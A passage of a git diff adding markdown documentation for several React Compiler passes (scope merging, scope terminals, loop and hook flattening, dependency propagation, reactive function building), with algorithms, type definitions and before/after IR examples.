+2. **Cross-scope mutations**: When an instruction within one scope mutates a value belonging to a different (outer) scope, those scopes must be merged to maintain correctness.
+
+The pass guarantees that after execution, any two reactive scopes are either:
+- Entirely disjoint (no common instructions)
+- Properly nested (one scope is completely contained within the other)
+
+## Input Invariants
+- Reactive scope variables have been inferred (`InferReactiveScopeVariables` pass has run)
+- Scopes have been aligned to block scopes (`AlignReactiveScopesToBlockScopesHIR` pass has run)
+- Each `Place` may have an associated `ReactiveScope` with a `range` (start/end instruction IDs)
+- Scopes may still have overlapping ranges or contain instructions that mutate outer scopes
+
+## Output Guarantees
+- **No overlapping scopes**: All reactive scopes either are disjoint or properly nested
+- **Consistent mutation boundaries**: Instructions only mutate their "active" scope (the innermost containing scope)
+- **Merged scope ranges**: Merged scopes have their ranges extended to cover the union of all constituent scopes
+- **Updated references**: All `Place` references have their `identifier.scope` updated to point to the merged scope
+
+## Algorithm
+
+### Phase 1: Collect Scope Information (`collectScopeInfo`)
+- Iterates through all instructions and terminals in the function
+- Records for each `Place`:
+  - The scope it belongs to (`placeScopes` map)
+  - When scopes start and end (`scopeStarts` and `scopeEnds` arrays, sorted in descending order by ID)
+- Only records scopes with non-empty ranges (`range.start !== range.end`)
+
+### Phase 2: Detect Overlapping Scopes (`getOverlappingReactiveScopes`)
+Uses a stack-based traversal to track "active" scopes at each instruction:
+
+1. **For each instruction/terminal**:
+   - **Handle scope endings**: Pop completed scopes from the active stack. If a scope ends while other scopes that started later are still active (detected by finding the scope is not at the top of the stack), those scopes overlap and must be merged via `DisjointSet.union()`.
+
+   - **Handle scope starts**: Push new scopes onto the active stack (sorted by end time descending so earlier-ending scopes are at the top). Merge any scopes that have identical start/end ranges.
+
+   - **Handle mutations**: For each operand/lvalue, if it:
+     - Has an associated scope
+     - Is mutable at the current instruction
+     - The scope is active but not at the top of the stack (i.e., an outer scope)
+
+     Then merge all scopes from the mutated outer scope to the top of the stack.
+
+2. **Special case**: Primitive operands in `FunctionExpression` and `ObjectMethod` are skipped.
+
+### Phase 3: Merge Scopes and Rewrite References
+1. For each scope in the disjoint set, compute the merged range as the union (min start, max end)
+2. Update all `Place.identifier.scope` references to point to the merged "group" scope
+
+## Key Data Structures
+
+### ScopeInfo
+```typescript
+type ScopeInfo = {
+  scopeStarts: Array<{id: InstructionId; scopes: Set<ReactiveScope>}>;
+  scopeEnds: Array<{id: InstructionId; scopes: Set<ReactiveScope>}>;
+  placeScopes: Map<Place, ReactiveScope>;
+};
+```
+
+### TraversalState
+```typescript
+type TraversalState = {
+  joined: DisjointSet<ReactiveScope>;  // Union-find for merged scopes
+  activeScopes: Array<ReactiveScope>;   // Stack of currently active scopes
+};
+```
+
+### DisjointSet<ReactiveScope>
+A union-find data structure that tracks which scopes should be merged into the same group.
+
+## Edge Cases
+
+### Identical Scope Ranges
+When multiple scopes have the exact same start and end, they are automatically merged since they would produce the same reactive block.
+
+### Empty Scopes
+Scopes where `range.start === range.end` are skipped entirely.
+
+### Primitive Captures in Functions
+When a `FunctionExpression` or `ObjectMethod` captures a primitive operand, it's excluded from scope merging analysis.
+
+### JSX Single-Instruction Scopes
+The comment in the code notes this isn't perfect - mutating scopes may get merged with JSX single-instruction scopes.
+
+### Non-Mutating Captures
+The pass records both mutating and non-mutating scopes to handle cases where still-mutating values are aliased by inner scopes.
+
+## TODOs
+From the comments in the source file, the design constraints arise from the current compiler output design:
+- **Instruction ordering is preserved**: If reordering were allowed, disjoint ranges could be produced by reordering mutating instructions
+- **One if-else block per scope**: The current design doesn't allow composing a reactive scope from disconnected instruction ranges
+
+## Example
+
+### Fixture: `overlapping-scopes-interleaved.js`
+
+**Input Code:**
+```javascript
+function foo(a, b) {
+  let x = [];
+  let y = [];
+  x.push(a);
+  y.push(b);
+}
+```
+
+**Before MergeOverlappingReactiveScopesHIR:**
+```
+[1] $20_@0[1:9] = Array []        // x belongs to scope @0, range [1:9]
+[2] x$21_@0[1:9] = StoreLocal...
+[3] $23_@1[3:13] = Array []       // y belongs to scope @1, range [3:13]
+[4] y$24_@1[3:13] = StoreLocal...
+```
+Scopes @0 [1:9] and @1 [3:13] overlap: @0 starts at 1, @1 starts at 3, @0 ends at 9, @1 ends at 13. This is invalid.
+
+**After MergeOverlappingReactiveScopesHIR:**
+```
+[1] $20_@0[1:13] = Array []       // Merged scope @0, range [1:13]
+[2] x$21_@0[1:13] = StoreLocal...
+[3] $23_@0[1:13] = Array []       // Now also scope @0
+[4] y$24_@0[1:13] = StoreLocal...
+```
+
+Both `x` and `y` now belong to the same merged scope @0 with range [1:13], producing a single `if-else` memo block in the output.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/17-buildReactiveScopeTerminalsHIR.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/17-buildReactiveScopeTerminalsHIR.md
new file mode 100644
index 000000000000..a9c31dd1ec6a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/17-buildReactiveScopeTerminalsHIR.md
@@ -0,0 +1,161 @@
+# buildReactiveScopeTerminalsHIR
+
+## File
+`src/HIR/BuildReactiveScopeTerminalsHIR.ts`
+
+## Purpose
+This pass transforms the HIR by inserting `ReactiveScopeTerminal` nodes to explicitly demarcate the boundaries of reactive scopes within the control flow graph. It converts the implicit scope ranges (stored on identifiers as `identifier.scope.range`) into explicit control flow structure by:
+
+1. Inserting a `scope` terminal at the **start** of each reactive scope
+2. Inserting a `goto` terminal at the **end** of each reactive scope
+3. Creating fallthrough blocks to properly connect the scopes to the rest of the CFG
+
+This transformation makes scope boundaries first-class elements in the CFG, which is essential for later passes that generate the memoization code (the `if ($[n] !== dep)` checks).
+
+## Input Invariants
+- **Properly nested scopes and blocks**: The pass assumes `assertValidBlockNesting` has passed, meaning all program blocks and reactive scopes form a proper tree hierarchy
+- **Aligned scope ranges**: Reactive scope ranges have been correctly aligned and merged by previous passes
+- **Valid instruction IDs**: All instructions have sequential IDs that define the scope boundaries
+- **Scopes attached to identifiers**: Reactive scopes are found by traversing all `Place` operands and collecting unique non-empty scopes
+
+## Output Guarantees
+- **Explicit scope terminals**: Each reactive scope is represented in the CFG as a `ReactiveScopeTerminal` with:
+  - `block` - The BlockId containing the scope's instructions
+  - `fallthrough` - The BlockId that executes after the scope
+- **Proper block structure**: Original blocks are split at scope boundaries
+- **Restored HIR invariants**: The pass restores RPO ordering, predecessor sets, instruction IDs, and scope/identifier ranges
+- **Updated phi nodes**: Phi operands are repointed when their source blocks are split
+
+## Algorithm
+
+### Step 1: Collect Scope Rewrites
+```
+for each reactive scope (in range pre-order):
+  push StartScope rewrite at scope.range.start
+  push EndScope rewrite at scope.range.end
+```
+The `recursivelyTraverseItems` helper traverses scopes in pre-order (outer scopes before inner scopes).
+
+### Step 2: Apply Rewrites by Splitting Blocks
+```
+reverse queuedRewrites (to pop in ascending instruction order)
+for each block:
+  for each instruction (or terminal):
+    while there are rewrites <= current instruction ID:
+      split block at current index
+      insert scope terminal (for start) or goto terminal (for end)
+  emit final block segment with original terminal
+```
+
+### Step 3: Repoint Phi Nodes
+When a block is split, its final segment gets a new BlockId. Phi operands that referenced the original block are updated to reference the new final block.
+
+### Step 4: Restore HIR Invariants
+- Recompute RPO (reverse post-order) block traversal
+- Recalculate predecessor sets
+- Renumber instruction IDs
+- Fix scope and identifier ranges to match new instruction IDs
+
+## Key Data Structures
+
+### TerminalRewriteInfo
+```typescript
+type TerminalRewriteInfo =
+  | {
+      kind: 'StartScope';
+      blockId: BlockId;        // New block for scope content
+      fallthroughId: BlockId;  // Block after scope ends
+      instrId: InstructionId;  // Where to insert
+      scope: ReactiveScope;    // The scope being created
+    }
+  | {
+      kind: 'EndScope';
+      instrId: InstructionId;  // Where to insert
+      fallthroughId: BlockId;  // Same as corresponding StartScope
+    };
+```
+
+### RewriteContext
+```typescript
+type RewriteContext = {
+  source: BasicBlock;        // Original block being split
+  instrSliceIdx: number;     // Current slice start index
+  nextPreds: Set<BlockId>;   // Predecessors for next emitted block
+  nextBlockId: BlockId;      // BlockId for next emitted block
+  rewrites: Array<BasicBlock>; // Accumulated split blocks
+};
+```
+
+### ScopeTraversalContext
+```typescript
+type ScopeTraversalContext = {
+  fallthroughs: Map<ScopeId, BlockId>; // Cache: scope -> its fallthrough block
+  rewrites: Array<TerminalRewriteInfo>;
+  env: Environment;
+};
+```
+
+## Edge Cases
+
+### Multiple Rewrites at Same Instruction ID
+The while loop in Step 2 handles multiple scope start/ends at the same instruction ID.
+
+### Nested Scopes
+The pre-order traversal ensures outer scopes are processed before inner scopes, creating proper nesting in the CFG.
+
+### Empty Blocks After Split
+When a scope boundary falls at the start of a block, the split may create a block with no instructions (only a terminal).
+
+### Control Flow Within Scopes
+The pass preserves existing control flow (if/else, loops) within scopes; it only adds scope entry/exit points.
+
+### Early Returns
+When a return occurs within a scope, the scope terminal still has a fallthrough block, but that block may contain `Unreachable` terminal.
+
+## TODOs
+Line 283-284:
+```typescript
+// TODO make consistent instruction IDs instead of reusing
+```
+
+## Example
+
+### Fixture: `reactive-scopes-if.js`
+
+**Before BuildReactiveScopeTerminalsHIR:**
+```
+bb0 (block):
+  [1] $29_@0[1:22] = Array []           // x with scope @0 range [1:22]
+  [2] StoreLocal x$30_@0 = $29_@0
+  [3] $32 = LoadLocal a$26
+  [4] If ($32) then:bb2 else:bb3 fallthrough=bb1
+bb2:
+  [5] $33_@1[5:11] = Array []           // y with scope @1 range [5:11]
+  ...
+```
+
+**After BuildReactiveScopeTerminalsHIR:**
+```
+bb0 (block):
+  [1] Scope @0 [1:28] block=bb9 fallthrough=bb10   // <-- scope terminal inserted
+bb9:
+  [2] $29_@0 = Array []
+  [3] StoreLocal x$30_@0 = $29_@0
+  [4] $32 = LoadLocal a$26
+  [5] If ($32) then:bb2 else:bb3 fallthrough=bb1
+bb2:
+  [6] Scope @1 [6:14] block=bb11 fallthrough=bb12  // <-- nested scope terminal
+bb11:
+  [7] $33_@1 = Array []
+  ...
+  [13] Goto bb12                                    // <-- scope end goto
+bb12:
+  ...
+bb1:
+  [27] Goto bb10                                    // <-- scope @0 end goto
+bb10:
+  [28] $50 = LoadLocal x$30_@0
+  [29] Return $50
+```
+
+The key transformation is that scope boundaries become explicit control flow: a `Scope` terminal enters the scope content block, and a `Goto` terminal exits to the fallthrough block. This structure is later used to generate the memoization checks.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/18-flattenReactiveLoopsHIR.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/18-flattenReactiveLoopsHIR.md
new file mode 100644
index 000000000000..e9a216323cf4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/18-flattenReactiveLoopsHIR.md
@@ -0,0 +1,158 @@
+# flattenReactiveLoopsHIR
+
+## File
+`src/ReactiveScopes/FlattenReactiveLoopsHIR.ts`
+
+## Purpose
+This pass **prunes reactive scopes that are nested inside loops** (for, for-in, for-of, while, do-while). The compiler does not yet support memoization within loops because:
+
+1. Loop iterations would require reconciliation across runs (similar to how `key` is used in JSX for lists)
+2. There is no way to identify values across iterations
+3. The current approach is to memoize *around* the loop rather than *within* it
+
+When a reactive scope is found inside a loop body, the pass converts its terminal from `scope` to `pruned-scope`. A `pruned-scope` terminal is later treated specially during codegen - its instructions are emitted inline without any memoization guards.
+
+## Input Invariants
+- The HIR has been through `buildReactiveScopeTerminalsHIR`, which creates `scope` terminal nodes for reactive scopes
+- The HIR is in valid block form with proper terminal kinds
+- The block ordering respects control flow (blocks are iterated in order, with loop fallthroughs appearing after loop bodies)
+
+## Output Guarantees
+- All `scope` terminals that appear inside any loop body are converted to `pruned-scope` terminals
+- Scopes outside of loops remain unchanged as `scope` terminals
+- The structure of blocks is preserved; only the terminal kind is mutated
+- The `pruned-scope` terminal retains all the same fields as `scope` (block, fallthrough, scope, id, loc)
+
+## Algorithm
+
+The algorithm uses a **linear scan with a stack-based loop tracking** approach:
+
+```
+1. Initialize an empty array `activeLoops` to track which loop(s) we are currently inside
+2. For each block in the function body (in order):
+   a. Remove the current block ID from activeLoops (if present)
+      - This happens when we reach a loop's fallthrough block, exiting the loop
+   b. Examine the block's terminal:
+      - If it's a loop terminal (do-while, for, for-in, for-of, while):
+        Push the loop's fallthrough block ID onto activeLoops
+      - If it's a scope terminal AND activeLoops is non-empty:
+        Convert the terminal to pruned-scope (keeping all other fields)
+      - All other terminal kinds are ignored
+```
+
+Key insight: The algorithm tracks when we "enter" a loop by pushing the fallthrough ID when encountering a loop terminal, and "exits" the loop when that fallthrough block is visited.
+
+## Key Data Structures
+
+### activeLoops: Array<BlockId>
+A stack of block IDs representing loop fallthroughs. When non-empty, we are inside one or more nested loops.
+
+### PrunedScopeTerminal
+```typescript
+export type PrunedScopeTerminal = {
+  kind: 'pruned-scope';
+  fallthrough: BlockId;
+  block: BlockId;
+  scope: ReactiveScope;
+  id: InstructionId;
+  loc: SourceLocation;
+};
+```
+
+### retainWhere
+Utility from utils.ts - an in-place array filter that removes elements not matching the predicate.
+
+## Edge Cases
+
+### Nested Loops
+The algorithm handles nested loops correctly because `activeLoops` is an array that can contain multiple fallthrough IDs. A scope deep inside multiple nested loops will still be pruned.
+
+### Scope Spanning the Loop
+If a scope terminal appears before the loop terminal but its body contains the loop, it is NOT pruned because the scope terminal itself is not inside the loop.
+
+### Multiple Loops in Sequence
+When exiting one loop (reaching its fallthrough) and entering another, `activeLoops` correctly clears the first loop before potentially adding the second.
+
+### Control Flow That Exits Loops (break/return)
+The algorithm relies on block ordering and fallthrough IDs. Early exits via break/return don't affect the tracking since we track by fallthrough block ID.
+
+## TODOs
+No explicit TODOs in this file. However, the docstring mentions future improvements:
+> "Eventually we may integrate more deeply into the runtime so that we can do a single level of reconciliation"
+
+This suggests a potential future feature to support memoization within loops via runtime integration.
+
+## Example
+
+### Fixture: `repro-memoize-for-of-collection-when-loop-body-returns.js`
+
+**Input:**
+```javascript
+function useHook(nodeID, condition) {
+  const graph = useContext(GraphContext);
+  const node = nodeID != null ? graph[nodeID] : null;
+
+  for (const key of Object.keys(node?.fields ?? {})) {
+    if (condition) {
+      return new Class(node.fields?.[field]);  // <-- Scope @4 is here
+    }
+  }
+  return new Class();  // <-- Scope @5 is here (outside loop)
+}
+```
+
+**Before FlattenReactiveLoopsHIR:**
+```
+[45] Scope scope @3 [45:72] ... block=bb35 fallthrough=bb36
+bb35:
+  [46] ForOf init=bb6 test=bb7 loop=bb8 fallthrough=bb5
+  ...
+  [66] Scope scope @4 [66:69] ... block=bb37 fallthrough=bb38  <-- Inside loop
+  ...
+  [73] Scope scope @5 [73:76] ... block=bb39 fallthrough=bb40  <-- Outside loop
+```
+
+**After FlattenReactiveLoopsHIR:**
+```
+[45] Scope scope @3 [45:72] ... block=bb35 fallthrough=bb36    <-- Unchanged
+...
+[66] <pruned> Scope scope @4 [66:69] ... block=bb37 fallthrough=bb38  <-- PRUNED!
+...
+[73] Scope scope @5 [73:76] ... block=bb39 fallthrough=bb40    <-- Unchanged
+```
+
+**Final Codegen Result:**
+```javascript
+function useHook(nodeID, condition) {
+  const $ = _c(7);
+  // ... memoized Object.keys call (scope @2)
+
+  let t1;
+  if ($[2] !== condition || $[3] !== node || $[4] !== t0) {
+    // Scope @3 wraps the loop
+    t1 = Symbol.for("react.early_return_sentinel");
+    bb0: for (const key of t0) {
+      if (condition) {
+        t1 = new Class(node.fields?.[field]);  // Scope @4 was PRUNED - no memoization
+        break bb0;
+      }
+    }
+    $[2] = condition;
+    $[3] = node;
+    $[4] = t0;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  // ...
+
+  // Scope @5 - memoized (sentinel check)
+  if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = new Class();
+    $[6] = t2;
+  }
+  return t2;
+}
+```
+
+The `new Class(...)` inside the loop has no memoization guards because scope @4 was pruned. The `new Class()` outside the loop retains its memoization via scope @5.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/19-flattenScopesWithHooksOrUseHIR.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/19-flattenScopesWithHooksOrUseHIR.md
new file mode 100644
index 000000000000..ff34df45211a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/19-flattenScopesWithHooksOrUseHIR.md
@@ -0,0 +1,143 @@
+# flattenScopesWithHooksOrUseHIR
+
+## File
+`src/ReactiveScopes/FlattenScopesWithHooksOrUseHIR.ts`
+
+## Purpose
+This pass removes (flattens) reactive scopes that transitively contain hook calls or `use()` operator calls. The key insight is that:
+
+1. **Hooks cannot be called conditionally** - wrapping them in a memoized scope would make them conditionally called based on whether the cache is valid
+2. **The `use()` operator** - while it can be called conditionally in source code, React requires it to be called consistently if the component needs the returned value. Memoizing a scope containing `use()` would also make it conditionally called.
+
+By running reactive scope inference first (agnostic of hooks), the compiler knows which values "construct together" in the same scope. The pass then removes ALL memoization for scopes containing hook/use calls to ensure they are always executed unconditionally.
+
+## Input Invariants
+- HIR must have reactive scope terminals already built (pass runs after `BuildReactiveScopeTerminalsHIR`)
+- Blocks are visited in order (the pass iterates through `fn.body.blocks`)
+- Scope terminals have a `block` (body of the scope) and `fallthrough` (block after the scope)
+- Type inference has run so that `getHookKind()` and `isUseOperator()` can identify hooks and use() calls
+
+## Output Guarantees
+- All scopes that transitively contained a hook or `use()` call are either:
+  - Converted to `LabelTerminal` - if the scope body is trivial (just the hook call and a goto)
+  - Converted to `PrunedScopeTerminal` - if the scope body contains other instructions besides the hook call
+- The `PrunedScopeTerminal` still tracks the original scope information for downstream passes but will not generate memoization code
+- The control flow structure is preserved (same blocks, same fallthroughs)
+
+## Algorithm
+
+### Phase 1: Identify Scopes Containing Hook/Use Calls
+1. Maintain a stack `activeScopes` of currently "open" reactive scopes
+2. Iterate through all blocks in order
+3. When entering a block:
+   - Remove any scopes from `activeScopes` whose fallthrough equals the current block (those scopes have ended)
+4. For each instruction in the block:
+   - If it's a `CallExpression` or `MethodCall` and the callee is a hook or use operator:
+     - Add all currently active scopes to the `prune` list
+     - Clear `activeScopes` (these scopes are now marked for pruning)
+5. If the block's terminal is a `scope`:
+   - Push it onto `activeScopes`
+
+### Phase 2: Prune Identified Scopes
+For each block ID in `prune`:
+1. Get the scope terminal
+2. Check if the scope body is trivial (single instruction + goto to fallthrough):
+   - If trivial: Convert to `LabelTerminal` (will be removed by `PruneUnusedLabels`)
+   - If non-trivial: Convert to `PrunedScopeTerminal` (preserves scope info but skips memoization)
+
+## Key Data Structures
+
+```typescript
+// Stack tracking currently open scopes
+activeScopes: Array<{block: BlockId; fallthrough: BlockId}>
+
+// List of block IDs whose scope terminals should be pruned
+prune: Array<BlockId>
+
+// Terminal types used
+LabelTerminal: {kind: 'label', block, fallthrough, id, loc}
+PrunedScopeTerminal: {kind: 'pruned-scope', block, fallthrough, scope, id, loc}
+ReactiveScopeTerminal: {kind: 'scope', block, fallthrough, scope, id, loc}
+```
+
+## Edge Cases
+
+### Nested Scopes
+When a hook is found in an inner scope, ALL enclosing scopes are also pruned (the hook call would become conditional if any outer scope were memoized).
+
+### Method Call Hooks
+Handles both `CallExpression` (e.g., `useHook(...)`) and `MethodCall` (e.g., `obj.useHook(...)`).
+
+### Trivial Hook-Only Scopes
+If a scope exists just for a hook call (single instruction + goto), it's converted to a `LabelTerminal` which is a simpler structure that gets cleaned up by later passes.
+
+### Multiple Hooks in Sequence
+Once the first hook is encountered, all active scopes are pruned and cleared, so subsequent hooks in outer scopes still work correctly.
+
+## TODOs
+None explicitly marked in the source file.
+
+## Example
+
+### Fixture: `nested-scopes-hook-call.js`
+
+**Input:**
+```javascript
+function component(props) {
+  let x = [];
+  let y = [];
+  y.push(useHook(props.foo));
+  x.push(y);
+  return x;
+}
+```
+
+**Before FlattenScopesWithHooksOrUseHIR:**
+```
+bb0:
+  [1] Scope @0 [1:22] block=bb6 fallthrough=bb7    // Outer scope for x
+bb6:
+  [2] $22 = Array []         // x = []
+  [3] StoreLocal x = $22
+  [4] Scope @1 [4:17] block=bb8 fallthrough=bb9   // Inner scope for y
+bb8:
+  [5] $25 = Array []         // y = []
+  [6] StoreLocal y = $25
+  ...
+  [10] $33 = Call useHook(...)  // <-- Hook call here!
+  [11] MethodCall y.push($33)
+```
+
+**After FlattenScopesWithHooksOrUseHIR:**
+```
+bb0:
+  [1] <pruned> Scope @0 [1:22] block=bb6 fallthrough=bb7   // PRUNED
+bb6:
+  [2] $22 = Array []
+  [3] StoreLocal x = $22
+  [4] <pruned> Scope @1 [4:17] block=bb8 fallthrough=bb9  // PRUNED
+bb8:
+  [5] $25 = Array []
+  [6] StoreLocal y = $25
+  ...
+  [12] Label block=bb10 fallthrough=bb11   // Hook call converted to label
+bb10:
+  [13] $33 = Call useHook(...)
+  [14] Goto bb11
+...
+```
+
+**Final Output (no memoization):**
+```javascript
+function component(props) {
+  const x = [];
+  const y = [];
+  y.push(useHook(props.foo));
+  x.push(y);
+  return x;
+}
+```
+
+Notice that:
+1. Both scope @0 and scope @1 are marked as `<pruned>` because the hook call is inside scope @1, which is inside scope @0
+2. The final output has no memoization wrappers - just the raw code
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/20-propagateScopeDependenciesHIR.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/20-propagateScopeDependenciesHIR.md
new file mode 100644
index 000000000000..88f9016f12e9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/20-propagateScopeDependenciesHIR.md
@@ -0,0 +1,158 @@
+# propagateScopeDependenciesHIR
+
+## File
+`src/HIR/PropagateScopeDependenciesHIR.ts`
+
+## Purpose
+The `propagateScopeDependenciesHIR` pass is responsible for computing and assigning the **dependencies** for each reactive scope in the compiled function. Dependencies are the external values that a scope reads, which determine when the scope needs to re-execute. This is a critical step for memoization correctness - the compiler must track exactly which values a scope depends on so it can generate proper cache invalidation checks.
+
+The pass also populates:
+- `scope.dependencies` - The set of `ReactiveScopeDependency` objects the scope reads
+- `scope.declarations` - Values declared within the scope that are used outside it
+
+## Input Invariants
+- Reactive scopes must be established (pass runs after `BuildReactiveScopeTerminalsHIR`)
+- The function must be in SSA form
+- `InferMutationAliasingRanges` must have run to establish when values are being mutated
+- `InferReactivePlaces` marks which identifiers are reactive
+- Scope ranges have been aligned and normalized by earlier passes
+
+## Output Guarantees
+After this pass completes:
+
+1. Each `ReactiveScope.dependencies` contains the minimal set of dependencies that:
+   - Were declared before the scope started
+   - Are read within the scope
+   - Are not ref values (which are always mutable)
+   - Are not object methods (which get codegen'd back into object literals)
+
+2. Each `ReactiveScope.declarations` contains identifiers that:
+   - Are assigned within the scope
+   - Are used outside the scope (need to be exposed as scope outputs)
+
+3. Property load chains are resolved to their root identifiers with paths (e.g., `props.user.name` becomes `{identifier: props, path: ["user", "name"]}`)
+
+4. Optional chains are handled correctly, distinguishing between `a?.b` and `a.b` access types
+
+## Algorithm
+
+### Phase 1: Build Sidemaps
+
+1. **findTemporariesUsedOutsideDeclaringScope**: Identifies temporaries that are used outside the scope where they were declared (cannot be hoisted/reordered safely)
+
+2. **collectTemporariesSidemap**: Creates a mapping from temporary IdentifierIds to their source `ReactiveScopeDependency`. For example:
+   ```
+   $0 = LoadLocal 'a'
+   $1 = PropertyLoad $0.'b'
+   ```
+   Maps `$1.id` to `{identifier: a, path: [{property: 'b', optional: false}]}`
+
+3. **collectOptionalChainSidemap**: Traverses optional chain blocks to map temporaries within optional chains to their full optional dependency path
+
+4. **collectHoistablePropertyLoads**: Uses CFG analysis to determine which property loads can be safely hoisted
+
+### Phase 2: Collect Dependencies
+
+The `collectDependencies` function traverses the HIR, maintaining a stack of active scopes:
+
+1. **Scope Entry/Exit**: When entering a scope terminal, push a new dependency array. When exiting, propagate collected dependencies to parent scopes if valid.
+
+2. **Instruction Processing**: For each instruction:
+   - Declare the lvalue with its instruction id and current scope
+   - Visit operands to record them as potential dependencies
+   - Handle special cases like `StoreLocal` (tracks reassignments), `Destructure`, `PropertyLoad`, etc.
+
+3. **Dependency Validation** (`#checkValidDependency`):
+   - Skip ref values (`isRefValueType`)
+   - Skip object methods (`isObjectMethodType`)
+   - Only include if declared before scope start
+
+### Phase 3: Derive Minimal Dependencies
+
+For each scope, use `ReactiveScopeDependencyTreeHIR` to:
+1. Build a tree from hoistable property loads
+2. Add all collected dependencies to the tree
+3. Truncate dependencies at their maximal safe-to-evaluate subpath
+4. Derive the minimal set (removing redundant nested dependencies)
+
+## Key Data Structures
+
+### ReactiveScopeDependency
+```typescript
+type ReactiveScopeDependency = {
+  identifier: Identifier;        // Root identifier
+  reactive: boolean;             // Whether the value is reactive
+  path: DependencyPathEntry[];   // Chain of property accesses
+}
+```
+
+### DependencyPathEntry
+```typescript
+type DependencyPathEntry = {
+  property: PropertyLiteral;  // Property name
+  optional: boolean;          // Is this `?.` access?
+}
+```
+
+### DependencyCollectionContext
+Maintains:
+- `#declarations`: Map of DeclarationId to {id, scope} recording where each value was declared
+- `#reassignments`: Map of Identifier to latest assignment info
+- `#scopes`: Stack of currently active ReactiveScopes
+- `#dependencies`: Stack of dependency arrays (one per active scope)
+- `#temporaries`: Sidemap for resolving property loads
+
+### ReactiveScopeDependencyTreeHIR
+A tree structure for efficient dependency deduplication that stores hoistable objects, tracks access types, and computes minimal dependencies.
+
+## Edge Cases
+
+### Values Used Outside Declaring Scope
+If a temporary is used outside its declaring scope, it cannot be tracked in the sidemap because reordering the read would be invalid.
+
+### Ref.current Access
+Accessing `ref.current` is treated specially - the dependency is truncated to just `ref`.
+
+### Optional Chains
+Optional chains like `a?.b?.c` produce different dependency paths than `a.b.c`. The pass distinguishes them and may merge optional loads into unconditional ones when control flow proves the object is non-null.
+
+### Inner Functions
+Dependencies from inner functions are collected recursively but with special handling for context variables.
+
+### Phi Nodes
+When a value comes from multiple control flow paths, optional chain dependencies from phi operands are also visited.
+
+## TODOs
+1. Line 374-375: `// TODO(mofeiZ): understand optional chaining` - More documentation needed for optional chain handling
+
+## Example
+
+### Fixture: `reactive-control-dependency-if.js`
+
+**Input:**
+```javascript
+function Component(props) {
+  let x;
+  if (props.cond) {
+    x = 1;
+  } else {
+    x = 2;
+  }
+  return [x];
+}
+```
+
+**Before PropagateScopeDependenciesHIR:**
+```
+Scope scope @0 [12:15] dependencies=[] declarations=[] reassignments=[] block=bb9
+```
+
+**After PropagateScopeDependenciesHIR:**
+```
+Scope scope @0 [12:15] dependencies=[x$24:TPrimitive] declarations=[$26_@0] reassignments=[] block=bb9
+```
+
+The pass identified that:
+- The scope at `[x]` depends on `x$24` (the phi node result from the if/else branches)
+- Even though `x` is assigned to constants (1 or 2), its value depends on the reactive control flow condition `props.cond`
+- The scope declares `$26_@0` (the array output)
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/21-buildReactiveFunction.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/21-buildReactiveFunction.md
new file mode 100644
index 000000000000..d686b4061d79
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/21-buildReactiveFunction.md
@@ -0,0 +1,180 @@
+# buildReactiveFunction
+
+## File
+`src/ReactiveScopes/BuildReactiveFunction.ts`
+
+## Purpose
+The `buildReactiveFunction` pass converts the compiler's HIR (High-level Intermediate Representation) from a **Control Flow Graph (CFG)** representation to a **tree-based ReactiveFunction** representation that is closer to an AST. This is a critical transformation in the React Compiler pipeline that:
+
+1. **Restores control flow constructs** - Reconstructs `if`, `while`, `for`, `switch`, and other control flow statements from the CFG's basic blocks and terminals
+2. **Eliminates phi nodes** - Replaces SSA phi nodes with compound value expressions (ternaries, logical expressions, sequence expressions)
+3. **Handles labeled break/continue** - Tracks control flow targets to emit explicit labeled `break` and `continue` statements when needed
+4. **Preserves reactive scope information** - Scope terminals are converted to `ReactiveScopeBlock` nodes in the tree
+
+## Input Invariants
+- HIR is in SSA form (variables have been renamed with unique identifiers)
+- Basic blocks are connected (valid predecessor/successor relationships)
+- Each block ends with a valid terminal
+- Phi nodes exist at merge points for values from different control flow paths
+- Reactive scopes have been constructed (`scope` terminals exist)
+- Scope dependencies are computed (`PropagateScopeDependenciesHIR` has run)
+
+## Output Guarantees
+- **Tree structure** - The output is a `ReactiveFunction` with a `body: ReactiveBlock` containing a tree of `ReactiveStatement` nodes
+- **No CFG structure** - Basic blocks are eliminated; control flow is represented through nested reactive terminals
+- **No phi nodes** - Value merges are represented as `ConditionalExpression`, `LogicalExpression`, or `SequenceExpression` values
+- **Labels emitted for all control flow** - Every terminal that can be a break/continue target has a label; unnecessary labels are removed by subsequent `PruneUnusedLabels` pass
+- **Each block emitted exactly once** - A block cannot be generated twice
+- **Scope blocks preserved** - `scope` terminals become `ReactiveScopeBlock` nodes
+
+## Algorithm
+
+### Core Classes
+
+1. **`Driver`** - Traverses blocks and emits ReactiveBlock arrays
+2. **`Context`** - Tracks state:
+   - `emitted: Set<BlockId>` - Which blocks have been generated
+   - `#scheduled: Set<BlockId>` - Blocks that will be emitted by parent constructs
+   - `#controlFlowStack: Array<ControlFlowTarget>` - Stack of active break/continue targets
+   - `scopeFallthroughs: Set<BlockId>` - Fallthroughs for scope blocks
+
+### Traversal Strategy
+
+1. Start at the entry block and call `traverseBlock(entryBlock)`
+2. For each block:
+   - Emit all instructions as `ReactiveInstructionStatement`
+   - Process the terminal based on its kind
+
+### Terminal Processing
+
+**Simple Terminals:**
+- `return`, `throw` - Emit directly as `ReactiveTerminal`
+- `unreachable` - No-op
+
+**Control Flow Terminals:**
+- `if` - Schedule fallthrough, recursively traverse consequent/alternate, emit `ReactiveIfTerminal`
+- `while`, `do-while`, `for`, `for-of`, `for-in` - Use `scheduleLoop()` which tracks continue targets
+- `switch` - Process cases in reverse order
